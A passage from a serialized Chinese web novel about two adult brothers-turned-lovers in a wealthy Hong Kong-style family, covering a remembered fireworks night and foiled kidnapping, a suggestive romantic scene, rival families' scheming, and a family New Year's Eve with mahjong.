坐在后座的陈一诺却丝毫不觉得冷,浑身热血沸腾。甚至在高速飞驰的时候,举起双手,朝着空旷的街道“喔喔——”尖叫几声。 说来也巧,那年跨年活动的主会场就在烟波湖。但当时还没建造成公园,只有一个湖,以及沿湖而建的一大片草坪。刚够容纳前来跨年看烟花的市民。 他们大概开了20分钟,陈宗礼把车开进烟波湖旁边的住宅区,他们到得晚,道路两旁已经停满了车。 他们停好车,陈宗礼从背包里翻出棒球帽和口罩,递给他:“人多,遮一下。” 陈一诺接过东西,调侃道:“港城认识我的人才几个,你才是需要被重点保护的那个吧?” 陈宗礼拿出自己的棒球帽和口罩,说道:“放心,我也有,比你还严实!” 戴好装备,已经晚上11点半,怕赶不上,他们紧赶慢赶往烟波湖的方向走。 现场人太多,信号弱,他们联系不上庄嘉轩和陈宗瑜。最后经过一家商铺,发现门外停着庄嘉轩的摩托车,才敢确定他们早到了。 维持秩序的警察为了控制人流,在烟波湖四周拉起警戒线。只留一个入口和一个出口。 越接近入口,人流越多,越拥挤。 从上方俯瞰,入口处挤满了密密麻麻的蚂蚁,源源不断的往入口方向涌去。 明明处处人声鼎沸,人潮汹涌,该是觉得热闹。陈一诺却觉得在人群里分外孤单。 唯一让他欣慰的是,还好身边有陈宗礼。 因为有陈宗礼,哪怕他在陌生的环境,跟一群陌生人在一起,有那么一个熟悉的人,熟悉的气味,他就有在这里的理由。 陈宗礼似乎也有这样的感受,他让陈一诺走在自己前面,让陈一诺的后背跟他的胸膛相贴,还把手搭在他肩上,用身体触碰提醒他:不要怕,我在你身后保护你,我们是一起的。 他们保持着这种状态,随着人潮,慢慢靠近入口。直到人群沿着湖两侧四散开来,陈宗礼才慢慢把距离拉开。 他长得高,一眼锁定庄嘉轩所在的位置,拉着陈一诺径自往那个方向走。 陈一诺跟在他身旁,亦步亦趋,一阵凉风吹过,才发现后背热出了一层薄汗。 …… 后来,他们看新闻才知道,那年去看跨年烟火的港城人数创下历史新高。跨年活动结束后,烟波湖开始了为期两年的改造,没再对外开放。跨年活动也取消了。 跟庄嘉轩汇合后,距离倒数不剩5分钟。整个烟波湖的草坪上,站了估计有上万人。 陈一诺问他:“你每年都来么?” 陈宗礼摇头:“我也是第一次!” 陈一诺刚想问,为什么怎么突然要来凑热闹。活动现场的司仪已经组织大家开始倒数。 “10……3、2、1” “新年快乐!!!” 烟波湖上,安置着载满烟花的船只,工人们踩着零点把烟火射向夜空,新年的喜悦演变成了一朵朵五颜六色,闪闪落星般的烟花,在夜空中怒放。 一朵烟花在夜空中炸开,陆地上就会引来一片“哇”的赞叹。 陈一诺已经忘记那晚看过什么样的烟花,但始终记得,烟花在他和陈宗礼眼里同时绽放的瞬间。 他忽然明白,为什么陈宗礼要带他看这场烟花。 因为旧年的最后一天,我们一起度过,新年的第一秒,我们依旧一起。 我这段记忆里有你,你这段记忆里有我。无论过了多少年,经历多少事,这是无法改写的。 他为此感到满心的充盈。 他勾着陈宗礼衣袖,抢着第一个说:“陈宗礼,新年快乐!” …… 烟花持续了半小时,狂欢过后,人群疏散又成了问题。 但跟来时不同,陈一诺他们不着急回去。索性坐在草坪上闲聊,聊着聊着,接近一点,人群散得差不多了,他们才慢悠悠往停车的方向去。 考虑到陈宗瑜的不便,陈一诺提议:“要不,回程换宗瑜坐哥的车?” 陈宗礼抿了抿唇,陈宗瑜先拒绝,她指着几米外庄嘉轩的车:“我好累,不想走了。我还是坐他的车回去吧。” 当时,陈一诺没察觉到异样,随她去了。现在回想起来,原来一切都有迹可循。 说来也巧,忽然遇到一个庄嘉轩和陈宗礼的同学,他们聊了几句。陈一诺待不住了,凑到陈宗礼耳边说:“哥,钥匙给我,我把车开过来。” 陈宗礼冷看他一眼,无动于衷,陈一诺不依不饶:“哥,我就开一小段。” 小卷毛双手合十的模样太虔诚。陈宗礼想到是新年,路程也不远。心软把钥匙给他,临走时提醒道:“直接开过来。不许飙车!” “好嘞!”陈一诺拿到钥匙,像小狗要追抛出去的球,撒欢似的跑了。 又聊了大概十五分钟,陈宗礼发现车还没开过来,有点担心小卷毛出事。 毕竟这人最爱刺激,玩高兴了,出尔反尔去飙车,他真干得出来。 于是,早早跟朋友道别,还叮嘱庄嘉轩开车小心,转身去找陈一诺。 …… 果然,他的预感对了一半。陈一诺确实出事了。 去找陈一诺的路上,忽然看见两个混混,拽着一个人往旁边的白色面包车上拖。 他眯起眼睛,认出被硬拽着上车的就是陈一诺。 他第一时间意识到——他们在绑架! 凌晨时分,街上已经没人了。他们出门没带保镖,回头找庄嘉轩也来不及,只能靠自己。 陈宗礼反应很快,他随手拿起一根放在店铺门口的木棍,以迅雷不及掩耳的速度跑过去,往其中一个混混背后当头抡了一棒。 他沉声道:“把人放了!” 被击中的混混“啊呀!”大叫,松开了紧抓陈一诺的手。 陈一诺趁机肘击他身后的混混,这一肘无情力非常重,整个人被撞飞在车身。陈宗礼上前狠狠踹了几脚。 之前,陈一诺的腿被偷袭打了一闷棍,从腿根开始疼。但他忍着疼,也狠狠踹了对方几脚,骂道:“敢偷袭你爷爷!!” 陈宗礼担心他们有同伙,拽过他:“别打了,跑!” “想跑?!” 陈宗礼的预感又对了,另一辆面包车上,下来四个混混,手上都拿着棍子。 加上受伤的两个,一共六个人围成一圈,把他们两兄弟团团围住。 陈宗礼和陈一诺两个人背靠着背,互为对方的眼睛,犹如两只被困的野兽。 陈宗礼擦了擦脸上的汗,向来矜贵的少爷难得狼狈,喘着气问:“你们到底是谁?” 为首的老大,脖子上戴着金链子,慢悠悠走到他们面前,一股槟榔味,指着陈一诺。 “你不用知道我是谁,我知道你是谁就好啦!” “我只要陈老太的孙子!跟你没关系!” 陈宗礼应对绑匪经验丰富,看出大金链要抓的人是他。估计是盯上那辆奥古斯塔,知道全港只有太子爷有一辆,所以,错把取车的陈一诺当成是他。 他的棍子拿在身前,面对敌众我寡的劣势,依然冷静。 “你认错人了!把他抓回去,不但拿不到钱,还要牢底坐穿。” 金链子眼睛盯着陈宗礼,冷笑:“你少框我!全港城就一辆奥古斯塔!钥匙在他手上,不是他,还有谁?” 陈一诺眼尾扫到陈宗礼的虎口被木棍上的刺扎破,流了不少血,咬紧后牙槽,强忍着怒意,跟金链子交涉。 “大哥,陈家有两个孙子,一个亲生,一个是捡的!我就是捡的。我只是偷了他的车出来玩。” “不过我看不惯他很久了,你们要是想绑他,我倒是可以帮你们~” “陈家有两个孙子?”金链子犹豫了,对旁边一个尖嘴猴腮的小弟道:“手机查一查!” 小弟掏出手机问道:“老大查什么?” 金链子一巴掌拍他的脑袋:“查一查他们家是不是有两个孙子!” 小弟道:“他们家……叫什么?” 金链子一把抢过他的手机:“滚!老子自己查!” 趁他们争执,陈宗礼喊了声“跑”,两人像泥鳅似地丝滑突围,朝大马路的方向狂奔。 金链子呸了声:“艹,给老子抓住他们!” 一群人拿起武器,撒腿往他们的方向追。 陈宗礼跑了几步,发现陈一诺跑得吃力,腿受伤根本跟不上。 眼看后面几个混混就要追上来,而他们跑进了一条死胡同! …… 陈一诺看形势严峻,不想拖累陈宗礼,说:“哥,你别管我,你先跑,我挡住他们!” 陈宗礼那股少爷傲气,这时候又上来了:“你一个捡来的,帮我挡什么?” 真记仇啊,陈一诺想。 陈宗礼一眼看见旁边的空纸箱,预计能藏一个人。 说道:“你藏在箱子里,我引开他们,等人都走了,你就出去报警!” 陈一诺不愿意:“哥……” 陈宗礼严肃道:“叫我一声哥,就要听我的!!” 陈一诺垂眸看着陈宗礼还在滴血的手,眼泪吧嗒吧嗒往下流,就是不愿意走。 “大半夜的吵死了!” 死胡同两旁是居民楼,一个男人从楼道下来,打断他们的对话。 他身材魁梧,跟陈宗礼差不多高,身材却格外魁梧。整个人从暗处走出来,像来一头蓄势待发的猛兽。 灯光下,那人穿着夹克,里面是白色T恤。目光狠戾,厌烦地盯着他们。 陈宗礼心中一寒,这人该不会跟金链子是一伙的吧。六打二尚且打不过,加上这一位,他们必死无疑。 他把陈一诺护在身后,拿木棍指着男人,像一只被囚的困兽,可以死,但不能等死。 他警告对方:“你别过来!!” 眼前的男人冷笑一声,几步欺身到他们身边,迅速一拍陈宗礼的手。下一秒,木棍已经落到他手上。速度之快,力量之大,双方武力值,高下立判。 男人拿起木棍往上一抬,陈宗礼以为对方木棍要落下来,下意识用身体护住陈一诺。 结果那一棍,迟迟没下来,那男人的声音从耳边传来:“你们一边藏好。” 说完,男人一阵风似的,朝混混的方向跑过去。 男人的速度很快,动作也很野蛮,像个行走的人形武器。几下挥棒就把6个人全堵在墙角。 男人单方面的碾压,像在玩经典游戏“打地鼠”。 谁要往前冲,就被男人拿木棍敲打,然后缩回去,再往前冲,再被打,再缩回去。 男人很凶,速度极快,嘴里只重复几句话:“敢在我的地盘绑架?!” “还是绑小孩!绑小孩!绑小孩!” “还敢不敢!敢不敢!敢不敢!” 每说一句,他就要敲一个脑袋。这群人被他敲得头晕脑胀,偏偏又逃不掉,只能无限循环。 最后,所有人倒在地上,抱着头“不敢了,不敢了”地乱叫,男人才住手。 他把木棍往地上一丢。回头看身后的两兄弟:“走吧,给你们打车去医院。” 陈宗礼没推辞:“麻烦了!” 他扛着腿受伤的陈一诺,慢慢往大路上走。 街道上明明空无一人,男人偏偏像有魔力似的,抬手叫停了一辆出租车。 上车后,男人对陈宗礼非常不客气,教训道:“别对自己太自信!你这种少爷出门一定要带保镖!不是每次都那么幸运。” 男人比他大几岁,陈宗礼不敢反驳。 “我知道了,今晚谢谢你。我叫陈宗礼,方便留个联系方式吗?交个朋友。” 男人身体倚着车门,陈宗礼这才看清他的五官浓烈又锐利。 他冷淡说:“不方便,没兴趣。” 说完,男人关上车门,大步流星转身离去,快速隐没在无人的街头—— 作者有话说:三把火在回忆里闪现一下,现在时间线还要再晚一丢丢出来哈![眼镜] 第94章 “你怎么知道那人是董焱?” 从南山寺回老宅,陈一诺赖在陈宗礼房间不肯走,长羽绒搭在沙发边,等着听下文。 那年烟花和绑架,对陈一诺而言记忆挺深刻的。 以前古家在上城当豪门的时候,他爷爷身边也带保镖,当时只觉得是装饰,以古家在上城的影响力,绑架这种恶性事件只在电影里见过。 亲身经历后,只感觉劫后余生和难以置信。 那晚,他们到医院检查,除了陈一诺的小腿扭伤,其余都是皮外伤。老太太知道后,大半夜赶来,对他们训了半天话。 陈一诺才知道,在鱼龙混杂的港城,特别是回归前的港城,一个有钱人走在路上有多危险。那时的港城“首富”——陈宗礼的爷爷,被猖獗的“贼王”多次点名。 他总算明白,为什么陈家人对人身安全如此谨慎,总是随时随地带保镖。 …… 老宅的房间里,陈宗礼在笔记本电脑上敲上两行字,面无表情说着当年的事。 “他在那个时间、地点出现太奇怪,奶奶不放心,就找人查了。” “巷子里没监控,保镖还是在拦车的十字路口找到他,说是董焱,奶奶还挺惊讶的。” “她怀疑绑架是董家策划。毕竟董焱的出现,太巧合。不过,没从绑匪套到有用信息,也没查到别的证据,才作罢。” 沙发上的陈一诺,坐没坐相,把脑袋搭在竖起的膝盖上,脑海里想起野性粗犷的董焱拿着一根木棒把那些人揍飞的身影,感慨:“我也不信是策划的。那几个绑匪连我们的脸都不认得,应该是临时起意。” “不过,董焱这款豪门少爷,在港城确实不多见。” “你说,董家的灰产,算是五毒俱全。随便一条生意链的收入,都够几代人的吃喝。随便一条生意链也够他们判死刑的。” “董焱要是一点不了解,稀里糊涂当了接班人,估计怎么死的都不知道。” 说话期间,陈宗礼注意力一直在笔记本上,声音“噼里啪啦”,也不知道听没听到。 陈一诺伸手揉了揉眼睛,陈宗礼分出一只手阻止:“别揉眼睛。” 抢得陈宗礼的注意,他嘴角挑起,停止揉眼睛,继续刷手机道:“唉,原来那个很火的口香糖广告,是他的创意啊,有意思。” “唉,这个品牌的广告也是他做的呀,我在A国也见过……” “噼里啪啦”敲键盘的声音此起彼伏,夹杂在陈一诺“唉唉”的赞美声中,显得有些暴躁。 陈一诺忽然安静下来,凑到他耳边,说道:“陈宗礼,帮我看看眼睛呢,有点痒。” 他故意凑很近,脑袋上的卷毛绒绒的,呼吸声就在耳边。 从高中开始,陈一诺就戴隐形眼镜,透明、黑色比较多,最夸张的就是奶茶偏棕色。今天去寺庙,带了普通的黑瞳,陈宗礼凑近了看,自带纹路的隐形眼镜薄薄盖在眼珠上,有些放大的效果,眼睛看着更大更深邃。 陈宗礼喉结滚动,冷脸评价道:“熬夜上火,有红血丝。” 他刚要把头转回去,陈一诺眨着眼睛凑过来:“你眼里也有红血丝,你也上火?要帮忙吗?” “啪”,陈一诺把他的笔记本合上,推到一边,刚准备跨坐在他腿上,结果被陈宗礼反手抱起,整个人压在棕色沙发里。 陈宗礼手撑在他两侧,腿霸道地跪在他腿间,盯着他看,挑衅道:“怎么?你还能帮忙灭火?” 陈一诺肤色白,身上裹着浅黄的薄毛衣,陷在沙发里,像一个柔软的人形靠枕。被陈宗礼压着也不抵抗,双手懒散地搭在沙发上,眼神和声音都勾人。 “嗯,男朋友的需求,我肯定要满足的……” 自从确定关系,他跟陈宗礼始终停留在互帮互助的阶段。枪伤养好后,要处理的工作太多,各有各忙,已经快两周没有亲密接触。 早晨,跟陈宗礼差点擦枪走火,结果生生被老太太吓萎了。 陈宗礼的大手摩挲着陈一诺细长的脖颈,喃喃:“上回都哭了,还不死心?” 那回,他被噎得满是眼泪,眼睛比现在看着还要红,让人内疚又忍不住欺负更多。 陈一诺魅惑得像只狐狸:“或许熟能生巧呢。” 手指从脖子往上滑,陈宗礼把手指按在他柔软的嘴唇上,陈一诺张嘴咬住他的手指。 陈宗礼手指左右晃了晃,小卷毛死咬着不放,脑袋也跟着他晃了晃。 陈宗礼微微扬起嘴角:“你说喜欢创意,那我们就玩点有创意的。” …… 说“玩点创意”的时候,陈一诺满脸疑惑。 等面前出现一瓶“冒汗”的路易王妃香槟,和一壶冒着热气,里面装着肉桂卷、苹果的热红酒,他也只感到迷惑。 他歪躺在沙发上,指着面前一冷一热的酒:“什么意思?” “嘭——”陈宗礼旋开香槟木塞,他自斟自饮,整个人复压上来,捏着陈一诺的下巴,直接把冷香槟吻进陈一诺嘴里。 香槟的寒意和酒液的刺激,让陈一诺浑身抖了抖说:“冷……” “那就喝点暖的。” 陈宗礼换热红酒喝了一口,重复炮制,把温热的热酒喂到陈一诺嘴里。 红酒里混了苹果和肉桂的香气,味道比香槟还甜,但他太冷了,喝了口暖的,就忍不住追上陈宗礼索要更多。 陈宗礼跟他分开,逗他:“喜欢热的?” 陈一诺点头:“喜欢。” 陈宗礼弯起嘴角,又喝了一口热红酒,捏着下巴,复吻上去。 不知道是酒精作用,还是陈宗礼吻技出众,陈一诺被吻得天旋地转,浑身发软。 陈宗礼趁机把手伸进毛衣里作乱,还在耳边蛊惑道:“现在教你点别的……” 他像一个循循善诱的艺术家,先喂你喝酒卸下防备,等你头昏脑胀的时候,才告诉你表演正式开始。 陈一诺忽然意识到,原来做同一件事,喝酒与不喝酒的差别,如此之大。 他看着陈宗礼的表演,才发现,冷的,热的,交织刺激着,就能让你发抖,让你发疯。 陈一诺被刺激疯了,大脑一片空白。他的反应也跟喝酒时一样,说他冷,说他喜欢热的,然后追着陈宗礼索要更多,到最后筋疲力竭。 陈宗礼酒量好,但容易上脸,结束后,他猩红着眼躺在沙发上,把仅穿着晃荡薄毛衣的人形抱枕搂在怀里,在他耳边追着要repo(反馈),还问他学会了没有。 “贤者时间”过后,陈一诺回忆着陈老师教的步骤,有板有眼地实操了一遍。 和他不同,陈宗礼体温高,更喜欢香槟的冰冷。他的过程漫长且艰难,陈一诺喝了近乎半瓶香槟,陈宗礼才肯结束。陈一诺看着他急促起伏的胸口,涌出前所未有的成就感。 良久以后,陈宗礼问他什么感觉,他回忆道:“像一个人在冰岛泡雪地温泉,一半冰,一半火,混着酒精,让人冷冰冰,热乎乎,醉醺醺。” 陈宗礼摩挲着他的后背,学他念叨:“冷冰冰,热乎乎,醉醺醺……这个创意喜欢吗?” 陈一诺反应过来,原来今晚陈宗礼举止异常,是因为他夸别人有创意,而他不服…… 原来,陈宗礼也会那么幼稚。 他把脸埋在陈宗礼胸前,哭笑不得:“喜欢,奖你一朵小红花!” …… “那边的花,统统剪掉!” 贺家半山别墅院子里,充斥着修剪器“嗡嗡”的声音,两个“花王”打扮的佣人,跟在贺朗和一个道士身后,所到之处,满是残枝落叶。 道士说:“贺先生,你们家最近官非多,诸事不顺,园内就别种花了,招蜂引蝶惹是非。全部换成火旺,就是霸王鞭,镇宅辟邪。” 贺朗回头跟管家说:“记下卫师父的叮嘱。明天把火旺买回来种上。” 管家点头应下,俯到贺朗耳边道:“董先生刚到,在书房等您。” 贺朗皱了皱眉,手指整理着外衣。最近发生太多事,两鬓的白发长出来后,还没时间染,首富的霸气衰弱不少。 他对道士说道:“卫师傅,我还有事,待会儿管家带你继续看看,有什么要注意的地方直接告诉他。还有,我太太最近睡不好,卫师傅如果有安神的法子,也告诉他。” 贺家近来祸不单行,先是大少爷吃牢饭,二少爷重伤残疾,还被控谋杀。太太直接情绪低落,成天以泪洗面,不吃不喝,但这是心病,靠玄学有用? 但管家没反驳贺朗,只做事,应道:“知道了,贺先生。” …… 书房内,男人站在落地窗前向外眺望,贺朗选的半山别墅坐北朝南,背山面海,而贺朗买下别墅的最大原因——从书房落地窗能看见南山寺顶的观音像。 可惜,今天降温,全港城大雾弥漫,能见度极低,连观音轮廓也看不见。就像辉煌的贺家,如今也不招菩萨待见的模样。 “嘉华!什么时候回来的?!” 能让贺朗亲切唤“嘉华”还笑脸相迎的人,全港城有且只有一个——四大家族之一董家裕的弟弟,董嘉华。 董嘉华转身,冷着脸:“我再不回来,这座半山别墅都该易主了。” 贺朗两个儿子入狱,小儿子更是被控谋杀,贺家的建盛集团,近来股票一直在跌,建盛的董事会都要炸了。 但贺朗是从低处爬起来的,白手起家,人情冷暖世态炎凉他见得太多。风光时的不可一世,暴躁易怒,折堕时反而懂得隐忍折服。 面对董事会的质疑,他保证,一定能带领建盛平安度过。 比起董事会的威胁,董嘉华区区一句恶言,根本就是毛毛雨,他一点情绪起伏都没有。 他淡定地倒腾手里的茶叶,边倒腾边说:“嘉华,有人统计过,港城四大家族每三十年就要重新洗牌一次。三十年前,我被洗上来了,如果三十年后,我被洗下去,也没什么好意外的。” “哦?”董嘉华抱着肩坐到他对面,“什么意思?你真被陈家俩小子打趴下了?” 提起陈家兄弟,贺朗后牙槽猛地咬紧,但很快又恢复正常。 他用镊子拔茶杯放到他面前,淡淡的道:“我家的事你也知道,置之死地而后生。我贺朗无需一定呆在港城占四大家族这个坑。我在哪儿都能东山再起。” 董嘉华急了:“你能东山再起,但你有没有考虑过,我有没有时间等你啊?” “董嘉裕又进医院了,医生说最多活一年!我现在最需要人帮忙!你告诉我,你要东山再起?!” 这些年,董家在港城的生意全由董嘉华打理,而董家跟贺家能深度绑定,就是因为董嘉华跟贺朗几十年的合作:没亏过! 贺朗一步步成为港城首富的能力,连阴暗腹黑的董嘉裕都赞口不绝! 董嘉华自然抱紧这条大腿,甘心受他驱使。要人给人,要钱给钱,要关系给关系!他的全力帮助,就是为了在关键时刻,贺朗能成为他的最强助力。 他就像一个拥兵自重的藩王,企图在皇帝驾崩的时候,率百万大军逼宫!而为他打开城门的内应,就是皇帝最赏识的大臣——贺朗! 养兵千日,用兵一时。现在机会就在眼前,董嘉裕一死,他跟董焱的权力争夺战就要打响! 结果,贺朗居然改变主意,要放弃港城的一切东山再起,董嘉华怎么可能答应?! 贺朗老奸巨猾,把人的心思看得透透的,他喝了一口茶,对董嘉华说:“嘉华,我东山再起跟你想要的不冲突。” “你想,港城的业务才占董氏集团业务的多少?你跟你侄子的主战场根本不在港城!” “死守港城没意义,要打就去最凶的战场!去A国彻底把你的侄子从权力中心踢出去,那以后,你才能明白告诉所有人:董家,你董嘉华说了算!” “我的目标也是把建盛的生意重心移到A国,我们依然是强强联手,你怕什么?!” 董嘉华喝着贺朗递给他的茶,冷静片刻:“如果你真能帮我把董氏集团拿下!从今往后,我跟你的生意,再让你3个点!” 贺朗的野心,区区3个点,不够塞牙缝。 他像卧薪尝胆的勾践,满心都是仇恨,他咬牙切齿道:“等我们都各取所需。回头再把整个陈家连根拔起也不迟!” 董嘉华愣了愣,欣然应允:“没问题,祝我们心想、事成!” 两人“嘭——”地碰了下茶杯。 贺朗露出阴险的笑:“心想、事成!”—— 作者有话说:嘘!接下来,走几章感情线 第95章 董嘉裕病重的消息,在过年前,被港媒传得沸沸扬扬,更有神通广大的狗仔连回港出殡的日期都曝光了。 结果,董氏集团公关部反手一篇官方声明辟谣,证明集团董事长董嘉裕只是到医院例行身体检查,病重、去世全是谣言。 “啪啪啪——”连打好几家媒体的脸,舆论风波才平息了些。 可没过几天,又有小报跳出来,爆料说:董嘉裕这次真真真的去世了!人已经进ICU了! 结果,没几天,又被公关声明打脸。 来回几次反转又反转,让大众对董嘉裕去世消息脱敏。 大白话:董嘉裕人虽然没死,但在市民心中已经死了。 在这期间,港城四大家族之间好像达成共识一般,井水不犯河水。 特别是贺家,更是低调到尘埃里。 两个儿子都在监狱里,贺朗跟太太吴丹妮长期躲在A国,在港城根本不露脸。 在时间嘀嗒往前走,看似风平浪静的时候,羽南港项目的第一期正式竣工。 竞标时,陈一诺承诺的进驻企业,陆续开始谈判。为了增加谈判的诚意,陈一诺亲自带着羽南港项目的负责人,一起出差国外,跟各大公司面对面谈判。 一呆就是几周,跟陈宗礼之间,只能靠闲暇时间的视频聊天。 “今天谈了两家公司,一个做跨境电商看重港城的国际地位,另一个做新能源车,想在港城建代工厂,谈得都挺不错。就是那个新能源车的老板,说话太脏,10句里9句都是脏话!” “把负责商务谈判的zf姑娘都说怒了。两个人差点吵起来。哇,我在中间左右斡旋,口水都说干,才算消停,累死我了。” A国的晚上,是港城的白天。 陈一诺不在的时候,港城又降温,刚起床的陈宗礼拉开窗帘,窗外的老榕树叶子簌簌乱飞。 手机屏幕里,陈一诺刚洗完澡,戴着黑框眼镜,卷毛半搭在额头上,身上披着安抚毯,不像总裁,像个准备通宵打游戏的男大学生。 他拿起水杯“顿顿顿”喝水,声音通过降噪耳机传到陈宗礼的耳朵,让他联想到别的场景,心里痒痒的。 忍不住揉了揉自己的左手食指,临走前,陈一诺在指根咬了一口。几周下来只剩下淡淡的印记。他叹了口气,以前从没想过自己会如此思念一个人,只能隔着屏幕看陈一诺的感觉,太不愉快了。 他调整着语气,问道:“你还有多久回来?要过年了,老太太总问。” 陈一诺放下水杯,翻看自己的日程:“我看看啊,年二十九还要跟新能源的老板再谈一轮,年三十晚应该能到。” 陈宗礼扫了眼日历,喃喃:“还有一周。” 陈一诺把脸凑近屏幕,表情非常落寞:“啊,还有一周啊?哥,我太想你了。” 陈宗礼手指在陈一诺的脸上滑了滑,没说话。 过去,两人关系不好,几年见不了一面,也只是淡淡心酸。如今,区区一周才能见,居然觉得如此漫长。 陈宗礼长长叹了口气,突然觉得“有盼头”三个字,其实算不上好词。 “对了。”陈一诺忽然问,“奶奶有问过你感情的事么?” 陈宗礼定定看着屏幕,不解道:“怎么?” 陈一诺表情似乎有些局促:“那她以前那样撮合你和思维姐,现在你单着,她不着急?” 陈宗礼白他一眼:“别操心些有的没的。真担心,就回来宣示主权。” 陈一诺看他不开心,识趣没往下说,只道:“行,你等着!” …… 陈一诺这趟到A国,除了协助羽南港的入驻谈判,重中之重就是处理《星际玩家》游戏收购问题。 在普尔斯牵线下,他跟奥斯康家族达成合作,作为A国有钱有名望的豪门,不但拥有头部传媒集团,更拥有全球占有率第一的游戏平台。 为此,《星际玩家》的收购价,为陈一诺带来的收益,比繁星TV收购还要多得多。 这天,他受奥斯康家族——也就是普尔斯的邀约,参加A国最大的漫展。其中《星际玩家》有单独展位,爱凑热闹的普尔斯,染了个闪电蓝,拉着陈一诺穿梭在人群之中。 虽然,在A国,普尔斯坚持用中文调侃:“听说,老莫知道你跟我们合作,一哭二闹三上吊?” 陈一诺对于普尔斯的夸张用语已经习惯了,甚至不觉得他喊莫多里“老莫”有什么问题。 他摆摆手:“纯造谣。老莫是有点意见,可繁星TV的Q4财报又创新高了呀!游戏业务跟他也没关系,干嘛跟我过不去呢?” 普尔斯双手抱肩:“商人都是墙头草!悄悄跟你说,前天我在舅舅家看见贺朗了!” 普尔斯的舅舅Frank,跟贺朗见面?这太突然了。 陈一诺好奇道:“你舅舅跟他认识?” 普尔斯喃喃:“本来不认识,但我舅舅最近打算收购A国和C国的几个港口和铁路,刚好贺朗有意出售,所以才见面吧。” 陈一诺听陈宗礼说过,贺朗在着急套现,港口和铁路的利润率并不高,所以,他有卖掉换现金流的想法。只是没想到,买家居然是奥斯康家族。 普尔斯想了想:“你哥手里不是也有一些港口和铁路?如果出手的打算,我让舅舅买他的,不要贺朗的。” 自从上次,在“维多利一号”邮轮上,知悉贺朝阳的恶劣,正义的普尔斯偏心偏到太平洋。 无论家族有什么决策,第一时间照顾兄弟的生意。 陈一诺只笑笑,不好拂他面子,应承道:“行,我回头问问看。” 当年,因为古德胜非法聚赌,天峻的航运几乎被贺朗连根拔起。后来,陈宗礼全球收购港口、铁路、甚至是航空公司,也是为了补偿航运缺失的短板。 如果是其他业务,陈一诺说不定会动心思,但交通枢纽这块,陈宗礼绝不赞同售出。 毕竟,交通枢纽除了本身的商业价值,更多zz层面的战略意义。 虽说,商人眼里万物有价,但并非万物都能卖。 如果,贺朗这老狐狸真卖了,可真是狗急跳墙。 …… 大年三十,从A国坐10几个小时飞机的陈一诺,风尘仆仆地回到老宅吃团年饭。 由于飞机晚点,他没让陈宗礼接机,而是自己打车回老宅。 车刚驶出机场,看见沿途路上张灯结彩,灯火通明,连电台播放的都是叽叽喳喳的贺年歌。 这一刻,他才有了过年的实感。从上辈子算起,他已经很久没一家人整整齐齐吃团圆饭了。 跟茫茫大雪的A国相比,在暖和的港城过春节,观赏性最大的就是年花。 前几天,陈宗瑜说,老太太年前带着兰姨和二婶,亲自去港城郊区的花圃去挑花。把老宅里里外外摆得像个花市。 特别是老宅玄关处,放了一棵目测两米高的桃花。 庞大的枝桠开满了星星点点的桃红小花,枝桠之间,还挂了许多利是封和吉祥挂饰。 陈一诺打开门,屋外的风吹进屋里,“丁零当啷”的好不热闹。一看就能想起,具象的“花开富贵”、“花枝招展”。 “一诺哥哥回来啦?!” 陈宗瑜穿着新中式粉色旗袍,红粉菲菲地走来:“你回来的时间刚刚好,再晚,我又得陪她们再打四圈。” 陈一诺脱下外套,连同行李一起给佣人。 “你跑出来,他们不就三缺一了?” 老太太、二婶和陈宗礼,家里不就这三个人能上桌? 陈宗瑜忽然露出大大的笑容:“哎哟,你进去看看不就知道了……” 这满面春风的样子,不用看都知道了。 陈一诺直接问:“庄嘉轩不回家吃团圆饭啊?” 陈宗瑜也不扭捏,笑着说:“他家人和秦伯母一家旅行过年。他想留在港城。我妈看他一个人在港城过年怪冷清的,就邀请他过来住几天。” 前脚刚迈进偏厅,就听见老太太喊了一声:“胡了!清一色!” 同时,另外两边“啪——”“啪——”两声。 吴淑芬喊:“哎呀,我也胡!七小对!” 陈宗礼忍笑忍得辛苦:“谢啦,混一色!” “一炮三响”的庄嘉轩脸色都变了,一边点头哈腰地给老太太和二婶送筹码,一边还要说祝福的话:“新年快乐,身体健康。” 唯独转到陈宗礼的骂道:“是不是兄弟了,你就一个三番,好意思胡?” 陈宗礼忙着码牌,笑道:“三番是没什么好胡,但一炮三响的热闹,我得凑啊。” 庄嘉轩抬头看见陈一诺,连忙让位:“哎哟,一诺回来了!求你替我,你们一家子“雀神”,再打下去,我的内裤就输没了,陪不了我守岁…… 陈一诺回来,让偏厅顿时热络起来,大家索性连麻将都不搓了,挨个过来嘘寒问暖。 趁着聊天的间隙,陈一诺匆匆朝陈宗礼这边看一眼,刚好陈宗礼也在看他。 陈宗礼穿着橘红针织外套配衬衫,休闲又喜庆,像个帅气明星。 兰姨听着声音,从厨房过来:“哎哟,一诺回来了,我说这么热闹呢。” “老太太,饭准备好啦,咱们开饭吧?” 穿着成套鲜红套装的老太太笑道:“时间刚刚好,开饭!” 麻将桌旁,只剩庄嘉轩愣在原地:“老太太,一诺来了,你们就跑了?” 老太太笑道:“嗯呐,我们打麻将,谁能打得过他呀。” 庄嘉轩落后几步问陈宗瑜:“一诺打牌很厉害?” 陈宗瑜低声道:“一诺哥哥家里就是做博/彩的。他从小就陪他奶奶打牌。” “天生手气好,还会记牌算牌,他第一年跟奶奶、我妈打牌,大家都在单吊最后一只白板。结果被他自摸,还摸出一副十三幺。所以,我们家打麻将不轻易叫他的。” 二婶补充:“也没有不叫他,看情况咯。如果是自家人玩,就不带他,要是有客人来,我们就派一诺出战。十圈九赢。” 陈宗礼想起第一次看陈一诺打麻将,16岁的小孩,自/摸一次“十三幺”,小卷毛得意地仰起头,手指在鼻尖蹭了蹭,臭屁的样子,像极在赛车场赢他的模样。 大家说说笑笑往饭厅走,落在最后的陈宗礼上前勾了勾陈一诺的手指。 他非常享受在大家眼皮子底下,跟陈一诺做这种亲密的触碰。 陈一诺回勾住他,问道:“赢了多少?” 陈宗礼耸耸肩:“才打了八圈,没输没赢。” 陈一诺惊讶道:“你行不行啊?庄嘉轩这种点炮王,你八圈还没输没赢?我用小拇指摸牌都能干翻他。” 陈宗礼:“嗯嗯嗯,一诺老师教教我,怎么摸……” 陈一诺皱眉:“陈宗礼,你是不是在开黄腔!” 陈宗礼笑了:“让你教我怎么摸牌!我虚心请教,是你黄人先告状。” “脑子里的废料自己洗一洗!” 说完,陈宗礼的大手“啪——”地打在他屁股上,早一步溜了。 第96章 陈家的团年饭,按照港城“九大簋”的规格,八菜一汤,寓意团团圆圆,长长久久。 人齐落座后,老太太对唯一的客人庄嘉轩热络介绍:“嘉轩,我们家的团年饭,就是丰盛一点的家常便饭。” 